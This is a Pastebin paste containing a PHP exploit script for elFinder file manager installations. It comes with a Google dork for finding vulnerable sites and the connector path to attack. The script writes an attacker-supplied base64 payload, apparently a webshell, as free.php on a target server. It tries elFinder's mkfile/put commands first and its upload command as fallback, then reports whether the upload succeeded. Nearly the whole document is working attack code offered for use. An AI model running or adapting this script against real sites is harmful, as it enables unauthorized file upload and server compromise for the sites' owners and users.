AlHikam1337

elFinder Web Hosting - Remote File

Dec 12th, 2016
299
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.04 KB | None | 0 0
  1. =================================================================
  2. # Exploit Title     :   elFinder Web Hosting - Remote File
  3. # Google Dork       :   inurl:/_file-manager/php
  4. # Date              :   13 November 2016
  5. # Exploit Author    :   Anonymous AAM1337
  6. # Vendor Homepage   :   https://studio-42.github.io/elFinder/
  7. # Tested on         :   Windows 7 & Windows 10
  8. =====================[ Description ]=============================
  9. If you use a Windows operating system, you must install xampp.
  10. $ Exploit websites  :   /_file-manager/php/connector.php
  11. $ vulnerability     :   {"error":["errUnknownCmd"]}
  12. =================================================================
  13. <?php
  14. // Anonymous AAM1337 - Anonymous Indonesia.
  15.  
  16. error_reporting(0);
  17. if($argv[1]==""){
  18.     echo "\nUsage : php xploit.php www.website.host/_file-manager/php/connector.php\n\n";
  19. }
  20. else{
  21. $target = $argv[1]; // https://www.websites.host/_file-manager/php/connector.php
  22. $nama_doang = "free.php"; // The filename after successfully.
  23.  
  24. $isi_nama_doang = "Q2hhbmdlIHRoaXMgc2VjdGlvbiBpbnRvIGJhc2U2NCBzY3JpcHQ="; // Your base64 script.
  25.  
  26.  
  27. $decode_isi = base64_decode($isi_nama_doang);
  28. $encode = base64_encode($nama_doang);
  29.  
  30. $fp = fopen($nama_doang,"w");
  31. fputs($fp, $decode_isi);
  32.  
  33. function ngirim($url, $isi){
  34.  
  35. $ch = curl_init ("$url");
  36. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  37. curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  38. curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  39. curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
  40. curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
  41. curl_setopt ($ch, CURLOPT_POST, 1);
  42. curl_setopt ($ch, CURLOPT_POSTFIELDS, $isi);
  43. curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
  44. curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
  45. $data3 = curl_exec ($ch);
  46. return $data3;
  47.  
  48. }
  49. echo "\n# $target\n# Uploading 1...\n";
  50. $url_mkfile = "$target?cmd=mkfile&name=$nama_doang&target=l1_Lw";
  51. $b = file_get_contents("$url_mkfile");
  52.  
  53.  $post1 = array(
  54.                     "cmd" => "put",
  55.                     "target" => "l1_$encode",
  56.                     "content" => "$decode_isi",
  57.                    
  58.                     );
  59.  $post2 = array(
  60.                    
  61.                     "current" => "8ea8853cb93f2f9781e0bf6e857015ea",
  62.                     "upload[]" => "@$nama_doang",
  63.                    
  64.                     );
  65.  
  66. $output_mkfile = ngirim("$target", $post1);
  67. if(preg_match("/$nama_doang/", $output_mkfile)){
  68.     echo "# Upload Success 1...\n$ File successfully uploaded, Your file locations homepage.\n$ File name : $nama_doang\n";
  69. }
  70. else{
  71.  
  72. echo "# Upload Failed 1 \n# Uploading 2..\n";
  73. $upload_ah = ngirim("$target?cmd=upload", $post2);
  74. if(preg_match("/$nama_doang/", $upload_ah)){
  75.     echo "# Upload Success 2\n$ File successfully uploaded, Your file locations homepage.\n$ File name : $nama_doang\n";
  76. }
  77. else{
  78.     echo "# Upload Failed 2\n\n";
  79. }
  80. }
  81. }
  82.  
  83. ?>
  84.  
  85. Tutorial on YouTube : https://www.youtube.com/watch?v=6fwXtoG3-K0
  86.  
  87. Anonymous AAM1337 - aam1337.blogspot.com
  88. Indonesian Freedom Security, and membership.
Advertisement
Add Comment
Please, Sign In to add comment